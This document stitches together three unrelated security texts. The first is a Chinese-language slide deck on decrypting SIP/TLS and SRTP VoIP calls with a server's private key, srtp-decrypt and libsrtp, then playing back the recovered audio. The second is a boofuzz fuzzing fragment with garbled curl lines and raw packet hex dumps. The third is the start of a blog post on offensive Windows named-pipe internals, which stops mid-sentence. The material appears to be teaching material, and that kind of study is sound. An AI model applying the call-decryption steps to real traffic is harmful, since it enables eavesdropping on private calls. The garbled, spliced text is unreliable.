©PentesterAcademy.com
PentesterAcademy.co
m/
播放RTP流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
配置⽅方案
• SIP1+1RTP1
1
• SIP1over1TLS1+1RTP1
1
• SIP1+1SRTP1
1
• /SIP/over/TLS/+/SRTP/
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
TLS密钥交换⽅方法
•
TLS1使⽤用对称加密算法 (如AES,1Blowfish)1加密数据
1
•
两种可⾏行行⽅方法
– 1DHE1(Diffie1Hellman密钥交换)1
– 1RSA1(⾮非对称加密)1
1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Diffie1Hellman密钥交换
假设
1
•
攻击者即使看到交换过程也⽆无法猜测原始颜⾊色
1
•
攻击者可以看到
1
1111111以及
1
1111111但不不知道添加的是什什么颜⾊色
1
More1on:1en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange11
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
RSA1(⾮非对称加密)1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
现状
•
⽆无法通过监听流量量恢复ECDHE/DHE派⽣生的密钥
1
•
对于RSA,获取到服务器器私钥即可解密流量量
11
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
TLS流量量(SIP1over1TLS)1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Diffie1Hellman密钥交换
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
未解码的SRTP流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
解码
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
解码为RTP1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
检查RTP流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
分析RTP流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
播放RTP流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
TLS1流量量(SIP1over1TLS)1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
基于RSA的密钥交换
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
解密TLS流量量
•
使⽤用RSA交换密钥
•
可解密安装在Asterisk1One上的密钥
1
•
Asterisk/One密钥和证书的位置:1/etc/asterisk/keys1
1
•
必须从服务器器得到default.key1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
编辑1>1偏好1>1协议1>1SSL1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
添加Asterisk默认私钥
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
解密SIP流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SIP/SDP解密包中的SRTP密钥
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
解密SRTP的开源⼯工具
•
SRTP1Decrypt1
1
•
Libsrtp1
1
1
1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密
•
解密SRTP数据包的⼯工具
1
•
利利⽤用对称密钥解密SRTP流量量
•
以⼗十六进制⽅方式(hexdump)输出解密包
1
•
Wireshark可从⼗十六进制⽂文件中复原RTP数据包
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密
•
GitHub:1github.com/gteissier/srtp-decrypt111
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 安装前的准备
•
Installing1libgcrypt1
1
1
1
1
1
•
Installing1libpcap1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 安装
•
Cloning1
1
1
1
1
•
Compiling1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 准备完成
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 复制SRTP密钥
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: UDP端⼝口
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 解密SRTP流量量
指令:1./srtp-decrypt1-k1uK+RfjSi9/fUFr8zoJu6zdqPw6MGtONhgX4yqwRj1<1../
Normal_Call_two_parties.pcap1>1decoded.raw11
1
•
-k111111:11111Defined1SRTP1key11(该例例为uK+RfjSi9/fUFr8zoJu6zdqPw6MGtONhgX4yqwRj)1
•
Normal_Call_two_parties.pcap11
1输⼊入⽂文件1
•
decoded.raw1
1
1
1输出⽂文件1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: decoded.raw1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 导⼊入解密内容
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 导⼊入解密内容
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 导⼊入解密的UDP数据包
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 解码
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 解码为RTP1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 解码后的数据包
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 检查RTP流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 分析RTP流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP解密: 播放解密后的通话
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp1
•
安全实时传输协议(SRTP)的具体实现
1
•
可解密SRTP数据包
1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp1
•
GitHub:1github.com/cisco/libsrtp1111
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp: 安装
•
Cloning1
1
1
1
1
1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp: 安装
•
Configure1
1
1
1
1
1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp: 安装
•
Make1
1
1
1
1
1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp: 准备完成
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1SRTP密钥
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1复制SRTP密钥
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1过滤单⼀一发送者
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1过滤单⼀一RTP流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1导出过滤的流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1保存导出流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1指令
•
./rtp_decoder1-a1-t1101-e11281-b12stvabBcXXf3HtaHCSsB8WACeRBst9f7lwLqlzqE1*1<1./
Normal_Call_two_parties_Exported_RTP.pcap1
1
•
-a 1111111111使⽤用消息验证1
•
-t11111111111111认证标签⼤大⼩小(80位,即10字节)1
•
-e1111111111111加密密钥的⻓长度,该例例使⽤用AES_CM_128_HMAC_SHA1_801
1111111111密钥⻓长度是128位1
•
-b1111111111111ASCII格式的SRTP密钥1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1指令输出
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1text2pcap的帮助信息
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1text2pcap1
•
text2pcap1-t1"%M:%S."1-u110000,100001-1-1>1./Normal_Call_two_parties_Decrypted.pcap1
1
•
-t1111111111111111111111111将数据包前的⽂文本视为⽇日期和时间
•
%M:%S111111111111111时间格式
•
-u111111111111111111111111使⽤用既定的源、⽬目的端⼝口预先设置UDP数据包头部
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1解密RTP流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1解密后的流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1解码
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1解码为RTP1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1解码后的RTP流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1分析RTP流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1分析RTP流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Libsrtp:1播放解密后的通话
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
其它重要的部分?1
• DTMF1
1
• 短消息(SMS)1
1
• 导出通话
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
RTP1DTMF1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SIP消息
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
PCAP2WAV:1在线⼯工具
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
PCAP2WAV:1上传PCAP并下载Wav1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
PCAP2WAV:1audacity中显示的Wav⽂文件
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
PCAP2WAV:1离线脚本
•
Bash脚本⽤用于从VoIP通话中提取⾳音频
•
Outputs1.wav为输出⽂文件
•
使⽤用tshark和sox1
1
•
GitHub:1https://gist.github.com/avimar/d2e9d05e082ce273962d742eb9acac1611
1
1
1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
PCAP2WAV:1帮助信息
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
PCAP2WAV:1安装tshark和sox1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
PCAP2WAV:1运⾏行行⼯工具
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
PCAP2WAV:1⽬目录内容
•
运⾏行行脚本前的⽬目录内容
1
1
1
1
•
运⾏行行脚本后的⽬目录内容
1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
PCAP2WAV:1audacity中显示的Wav⽂文件
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
VoIPShark1
•
⼀一系列列Wireshark插件的集合
– 解密VoIP通话
– 导出通话⾳音频
– 流量量总览 (扩展,1SMS,1DTMF)1
– 基本VoIP攻击
•
使⽤用与Wireshark相同的GPL1
•
Github:1github.com/pentesteracademy/voipshark11
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
VoIPShark:1开发背景
•
传统分析过程繁琐且复杂
•
⼤大量量的⼯工具
– 需要编译,设置过程⽐比较耗时
– 使⽤用起来相对复杂
– 依赖⽤用户,容易易出错
•
解密过程中⽆无法保留留时间戳、IP地址等
1
•
不不⽀支持实时流量量显示
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
为什什么使⽤用wireshark的插件?1
•
即插即⽤用
•
插件来源
– Lua脚本
– 编译的C/C++代码
1
•
利利⽤用Wireshark的强⼤大功能
1
•
独⽴立于操作系统
•
牢固的⽤用户基础
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Wireshark插件类型
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
解析器器
•
解析载荷数据
1
•
解析对应部分的协议并把载荷传递给下⼀一个
1
1
1
解析流程图示例例
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
链式解析器器
•
从前⼀一解析器器获取数据,处理理对应部分后,传递给下⼀一解析器器
解析流程图示例例
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
VoIPShark:1解析链中的钩⼦子
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
VoIPShark:1总体架构
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
VoIPShark:1解密流程
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
插件地址
•
位置:1Help1>1About1Wireshark1>1Folders1
/
/Windows////////////////////////////////////////////////////////////////////////////////////Ubuntu1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
解密SRTP:1SRTP数据包
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
解密SRTP:1开启⾃自动解密
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
解密SRTP:1解密后的SRTP1(RTP)1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
VoIPShark:1导出通话⾳音频
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
导出通话⾳音频: 指定位置和⽂文件名
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
导出通话⾳音频: 导出流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
VoIPShark:1SIP信息收集
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SIP信息收集:1DTMF1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SIP信息收集:1扩展
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SIP信息收集:1RTP数据包传送
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SIP信息收集:1SIP认证导出
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SIP信息收集:1服务器器和代理理
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SIP信息收集:1消息
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
VoIPShark:1VoIP攻击检测
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
1VoIP攻击检测:1暴暴⼒力力破解
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
1VoIP攻击检测:1Invite泛洪攻击
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
1VoIP攻击检测:1报⽂文泛洪
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
1VoIP攻击检测:1中间⼈人攻击
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
1VoIP攻击检测:1未认证⽤用户
PentesterAcademy.co
m/
©PentesterAcademy.com
演示
PentesterAcademy.co
m/
©PentesterAcademy.com
提问环节
1
Github:1github.com/pentesteracademy/voipshark1
[email protected] | pdf |
@jtpereyda
curl 'fj48914309qr2p3 rim e/resd,fa;wf.,4vpl6v3/5p.vl;ul.6.ty[5p16[4[1]4\5][13]5123'
curl 'fj48914309qr2p3 rim e/resd,fa;wf.,4vpl6v3/5p.vl;ul.6.ty[5p16[4[1]4\5][13]5123'
https://apps.dtic.mil/dtic/tr/fulltext/u2/a558209.pdf
https://community.synopsys.com/s/question/0D53400004D2fALCAZ
from boofuzz import *
# ...
session = Session(
target=Target(
connection=SocketConnection(target_host,
target_port,
proto='tcp'),
)
)
s_initialize("user")
s_string("USER")
s_delim(" ")
s_string('ascii')
s_static("\r\n")
s_initialize("pass")
s_string("PASS")
s_delim(" ")
s_string('ascii')
s_static("\r\n")
s_initialize("stor")
s_string("STOR")
s_delim(" ")
s_string("AAAA")
s_static("\r\n")
s_initialize("retr")
s_string("RETR")
s_delim(" ")
s_string("AAAA")
s_static("\r\n")
session.connect(s_get("user"))
session.connect(s_get("user"), s_get("pass"))
session.connect(s_get("pass"), s_get("stor"))
session.connect(s_get("pass"), s_get("retr"))
0000 00 04 00 01 00 06 00 00 17 00 e4 88 00 00 08 00
0010 45 00 00 60 e6 c3 40 00 40 06 3d c5 0a 00 01 05
0020 0a 00 01 0b d6 df 08 01 94 68 ae 69 f4 2f b6 0e
0030 80 18 00 d2 16 62 00 00 01 01 08 0a 00 0f 48 a9
0040 1c 62 1b a3 80 00 00 28 d1 82 5e 7d 00 00 00 00
0050 00 00 00 02 00 01 86 a3 00 00 00 03 00 00 00 00
0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 04 00 01 00 06 00 00 17 00 2a ed 00 00 08 00
0010 45 00 00 60 13 c7 40 00 40 06 12 af 0a 00 00 11
0020 0a 00 00 12 03 1f 08 01 ff 30 1f 56 86 fd 15 cb
0030 80 18 00 d2 14 75 00 00 01 01 08 0a 07 f3 0c 90
0040 07 f1 8c fd 80 00 00 28 5c 1c ef 1b 00 00 00 00
0050 00 00 00 02 00 01 86 a3 00 00 00 04 00 00 00 00
0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 04 00 01 00 06 00 00 17 00 e4 88 00 00 08 00
0010 45 00 00 60 e6 c3 40 00 40 06 3d c5 0a 00 01 05
0020 0a 00 01 0b d6 df 08 01 94 68 ae 69 f4 2f b6 0e
0030 80 18 00 d2 16 62 00 00 01 01 08 0a 00 0f 48 a9
0040 1c 62 1b a3 80 00 00 28 d1 82 5e 7d 00 00 00 00
0050 00 00 00 02 00 01 86 a3 00 00 00 03 00 00 00 00
0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 00 00 01 00 06 00 00 17 00 97 11 00 00 08 00
0010 45 00 00 50 ad ae 40 00 40 06 76 ea 0a 00 01 0b
0020 0a 00 01 05 08 01 d6 df f4 2f b6 0e 94 68 ae 95
0030 80 18 00 d2 62 c3 00 00 01 01 08 0a 1c 62 1b a3
0040 00 0f 48 a9 80 00 00 18 d1 82 5e 7d 00 00 00 01
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 00 00 01 00 06 00 00 17 00 97 11 00 00 08 00
0010 45 00 00 50 ad ae 40 00 40 06 76 ea 0a 00 01 0b
0020 0a 00 01 05 08 01 d6 df f4 2f b6 0e 94 68 ae 95
0030 80 18 00 d2 62 c3 00 00 01 01 08 0a 1c 62 1b a3
0040 00 0f 48 a9 80 00 00 18 d1 82 5e 7d 00 00 00 01
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 00 00 01 00 06 00 00 17 00 b1 07 00 00 08 00
0010 45 00 00 50 99 37 40 00 40 06 8d 4e 0a 00 00 12
0020 0a 00 00 11 08 01 03 1f 86 fd 15 cb ff 30 1f 82
0030 80 18 00 d2 26 46 00 00 01 01 08 0a 07 f1 8c fd
0040 07 f3 0c 90 80 00 00 18 5c 1c ef 1b 00 00 00 01
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 00 00 01 00 06 00 00 17 00 b1 07 00 00 08 00
0010 45 00 00 50 99 37 40 00 40 06 8d 4e 0a 00 00 12
0020 0a 00 00 11 08 01 03 1f 86 fd 15 cb ff 30 1f 82
0030 80 18 00 d2 26 46 00 00 01 01 08 0a 07 f1 8c fd
0040 07 f3 0c 90 80 00 00 18 5c 1c ef 1b 00 00 00 01
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
session = Session(
target=Target(
connection=SerialConnection(port=1,
baudrate=9600),
),
sleep_time=sleep_between_cases,
) | pdf |
Offensive Windows IPC Internals 1:
Named Pipes
Contents:
Introduction
Named Pipe Messaging
Data Transfer Modes
Overlapping Pipe I/O, Blocking mode & In-/Out Buffers
Named Pipe Security
Impersonation
Impersonating a Named Pipe Client
Attack Surface
Client Impersonation
Attack scenario
Prerequisites
Misleading Documentation
Implementation
Instance Creation Race Condition
Attack scenario
Prerequisites
Implementation
Instance Creation Special Flavors
Unanswered Pipe Connections
Killing Pipe Servers
PeekNamedPipe
Prerequisites
Implementation
References
The Series: Part 2
Introduction
This post marks the start of a series of posts about the internals and interesting bits of various
Windows based Inter-Process-Communication (IPC) technology components. Initially this series
will cover the following topics:
Named Pipes
LPC
ALPC
RPC
A few IPC technology components are therefore left out, but I might append this series sometime
and include for example some of these:
Window Messages
DDE (which is based on Window Messages)
Windows Sockets
Mail Slots
Alright so let’s get down to it with Named Pipes…
Although the name might sound a bit odd pipes are a very basic and simple technology to enable
communication and share data between two processes, where the term pipe simply describes a
section of shared memory used by these two processes.
To term this correctly right from the beginning, the IPC technology we’re speaking about is called
‘pipes’ and there are two types of pipes:
Named Pipes
Anonymous Pipes
Most of the time when speaking about pipes you’re likely referring to Named Pipes as these offer
the full feature set, where anonymous pipes are mostly used for child-parent communications.
This also implies: Pipe communication can be between two processes on the same system (with
named and anonymous pipes), but can also be made across machine boundaries (only named
pipes can talk across machine boundaries). As Named Pipes are most relevant and support the
full feature set, this post will focus only on Named Pipes.
To add some historical background for Named Pipes: Named Pipes originated from the OS/2
times. It’s hart to pin down the exact release date named pipes were introduced to Windows, but
at least it can be said that it must have been supported in Windows 3.1 in 1992 - as this support is
stated in the Windows/DOS Developer’s Journal Volume 4, so it’s fair to assume named pipes have
been added to Windows in the early 1990’s.
Before we dive into the Named Pipe internals, please take note that a few code snippets will
follow that are taken from my public Named Pipe Sample Implementation. Whenever you feel you
want some more context around the snippets head over to the code repo and review the bigger
picture.
Named Pipe Messaging
Alright so let’s break things down to get a hold of Named Pipe internals. When you’ve never heard
of Named Pipes before imaging this communication technology like a real, steel pipe - you got a
hollow bar with two ends and if you shout something into one end a listener will hear your words
on the other end. That’s all a Named Pipe does, it transports information from one end to
another.
If you’re a Unix user you sure have used pipes before (as this is not a pure Windows technology)
with something like this: cat file.txt | wc -l . A command that outputs the contents of
file.txt , but instead of displaying the output to STDOUT (which could be your terminal window)
the output is redirected (“piped”) to the input of your second command wc -l , which thereby
counts the lines of your file. That’s an example of an anonymous pipe.
A Windows based Named Pipe is as easily understood as the above example. To enable us to use
the full feature set of pipes, we’ll move away from Anonymous Pipes and create a Server and a
Client that talk to each other.
A Named Pipe simply is an Object, more specifically a FILE_OBJECT, that is managed by a special
file system, the Named Pipe File System (NPFS):
When you create a Named Pipe, let’s say we call it ‘fpipe’, under the hood you’re creating a
FILE_OBJECT with your given name of ‘fpipe’ (hence: named pipe) on a special device drive called
‘pipe’.
Let’s wrap that into a something practical. A named pipe is created by calling the WinAPI function
CreateNamedPipe, such as with the below [Source]:
For now the most interesting part of this call is the \\\\.\\pipe\\fpipe .
C++ requires escaping of slashes, so language independent this is equal to \\.\pipe\fpipe . The
leading ‘.’ refers to your machines global root directory, where the term ‘pipe’ is a symbolic link to
the NamedPipe Device.
HANDLE serverPipe = CreateNamedPipe(
L"\\\\.\\pipe\\fpipe", // name of our pipe, must be in the form of
\\.\pipe\<NAME>
PIPE_ACCESS_DUPLEX, // open mode, specifying a duplex pipe so server and
client can send and receive data
PIPE_TYPE_MESSAGE, // MESSAGE mode to send/receive messages in discrete
units (instead of a byte stream)
1, // number of instanced for this pipe, 1 is enough for our use
case
2048, // output buffer size
2048, // input buffer size
0, // default timeout value, equal to 50 milliseconds
NULL // use default security attributes
);
Since a Named Pipe Object is a FILE_OBJECT, accessing the named pipe we just created is equal to
accessing a “normal” file.
Therefore connecting to a named pipe from a client is therefore as easy as calling
CreateFile [Source]:
Once connected reading from a pipe just needs a call to ReadFile [Source]:
Before you can read some data off a pipe, you want your server to write some data to it (which
you can read.). That is done by calling - who would have guessed it - WriteFile [Source]:
But what actually happens when you “write” to a pipe?
Once a client connects to your server pipe, the pipe that you created is no longer in a listening
state and data can be written to it. The user land call to WriteFile is dispatched to kernel land,
where NtWriteFile is called, which determines all the bits and pieces about the Write-Operation,
e.g. which device object is associated with the given file, whether or not the Write-Operation
should be made synchronous (see section Overlapping Pipe I/O, Blocking mode & In-/Out
Buffers), the I/O Request Packet (IRP) is set up and eventually NtWriteFile takes care that your data
is written to the file. In our case the specified data is not written to an actual file on disk, but to a
shared memory section that is referenced by the file handle return from CreateNamedPipe .
Finally - as mentioned in the introduction - Named Pipes can also be used over a network
connection across system boundaries.
There are no additional implementations needed to call a remote Named Pipe server, just make
sure that your call to CreateFile specifies an IP or hostname (as with the example above).
Let’s make a guess: What network protocol will be used when calling a remote pipe server? ….
drum rolls … absolutely unsurprising it is SMB.
An SMB connection is made to the remote server, which is by default initialized by a negotiation
request to determine the network authentication protocol. Unlike with other IPC mechanisms,
such as with RPC, you as a server developer can not control the network authentication protocol
as this is always negotiated through SMB. Since Kerberos is the preferred authentication scheme
since Windows 2000, Kerberos will be negotiated if possible.
HANDLE hPipeFile = CreateFile(L"\\\\127.0.0.1\\pipe\\fpipe", GENERIC_READ |
GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
ReadFile(hPipeFile, pReadBuf, MESSAGE_SIZE, pdwBytesRead, NULL);
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
Note: From a client perspective you can effectively choose the authentication protocol by
choosing to connect to a hostname or to an IP. Due to the design of Kerberos it cannot handle IPs
very well and as such if you choose to connect to an IP address the result of the negotiation will
always be NTLM(v2). Whereas when you connect to a hostname you will most likely always end up
using Kerberos.
Once the authentication is settled, the actions that client and server want to perform are once
again just classic file actions, that are handled by SMB just as any other file operation, e.g. by
starting a ‘Create Request File’ request as shown below:
Data Transfer Modes
Named pipes offer two basic communication modes: byte mode and message mode.
In byte mode, messages travel as a continuous stream of bytes between the client and the
server. This means that a client application and a server application do not know precisely how
many bytes are being read from or written to a pipe at any given moment. Therefore a write on
one side will not always result in a same-size read on the other. This allows a client and a server to
transfer data without caring about the size of the data.
In message mode, the client and the server send and receive data in discrete units. Every time a
message is sent on the pipe, it must be read as a complete message. If you read from a server
pipe in message mode, but your read buffer is too small to hold all of the data then the portion of
data that fits in your buffer will be copied over to it, the remaining data stays in the server’s
shared memory section and you’ll get an error 234 (0xEA, ERROR_MORE_DATA) to indicate that
there is more data to fetch.
A visual comparison of the messages modes is shown below, taken from “Network programming
for Microsoft Windows” (1999):
Overlapping Pipe I/O, Blocking mode & In-/Out Buffers
Overlapping I/O, Blocking mode and In-/Out Buffers are not amazingly important from a security
standpoint, but being aware that these exists and what they mean can aid understanding,
communication, building and debugging named pipes. Therefore I will add these concepts here
briefly.
Overlapping I/O
Several Named Pipe related functions, such as ReadFile, WriteFile, TransactNamedPipe, and
ConnectNamedPipe can perform pipe operations either synchronous, meaning the executing
thread is waiting for the operation to complete before continuing, or asynchronous, meaning the
executing thread fires the action and continues without waiting for its completion.
It’s important to note that asynchronous pipe operations can only be made on a pipe (server) that
allows overlapped I/O by setting the FILE_FLAG_OVERLAPPED within the CreateNamedPipe call.
Asynchronous calls can be made either by specifying an OVERLAPPED structure as the last
parameter to each of the above mentioned ‘standard’ pipe actions. such as ReadFile, or by
specifying a COMPLETION_ROUTINE as the last parameter to the ‘extended’ pipe actions, such as
ReadFileEx. The former, OVERLAPPED structure, method is event based, meaning an event object
must be created and is signaled once the operation is completed, while the
COMPLETION_ROUTINE method is callback based, meaning a callback routine is passed to the
executing thread, which is queued and executed once signaled. More details on this can be found
here with a sample implementation by Microsoft here.
Blocking mode
The blocking mode behavior is defined when setting up a named pipe server with
CreateNamedPipe by using (or omitting) a flag in the dwPipeMode parameter. The following two
dwPipeMode flags define the blocking mode of the server:
PIPE_WAIT (default): Blocking mode enabled. When using named pipe operations, such as
ReadFile on a pipe that enabled blocking mode the operation waits for completion. Meaning
that a read operation on such a pipe would wait until there is data to read, a write operation
would wait until all data is written. This can of course cause an operation to wait indefinitely
in some situations.
PIPE_NOWAIT: Blocking mode disabled. Named pipe operations, such as ReadFile, return
immediately. You need routines, such as Overlapping I/O, to ensure all data is read or
written.
In-/Out Buffers
By In-/Out Buffers I’m referring to the input and output buffers of the named pipe server that you
create when calling CreateNamedPipe and more precisely to the sizes of these buffers in the
nInBufferSize and nOutBufferSize parameters.
When performing read and write operations your named pipe server uses non-paged memory
(meaning physical memory) to temporarily store data which is to be read or written. An attacker
who is allowed to influence these values for a created server can abuse these to potentially cause
a system crash by choosing large buffers or to delay pipe operations by choosing a small buffer
(e.g. 0):
Large buffers: As the In-/Out Buffers are non-paged the server will run out of memory if
they are chosen too big. However, the nInBufferSize and nOutBufferSize parameters are not
‘blindly’ accepted by the system. The upper limit is defined by a system depended constant; I
couldn’t find super accurate information about this constant (and didn’t dig through the
headers); This post indicates that it’s ~4GB for an x64 Windows7 system.
Small buffers: A buffer size of 0 is absolutely valid for nInBufferSize and nOutBufferSize. If the
system would strictly enforce what it’s been told you wouldn’t be able to write anything to
your pipe, cause a buffer of size 0 is … well, a not existing buffer. Gladly the system is smart
enough to understand that you’re asking for a minimum buffer and will therefore expand
the actual buffer allocated to the size it receives, but that comes with a consequence to
performance. A buffer size of 0 means every byte must be read by the process on the other
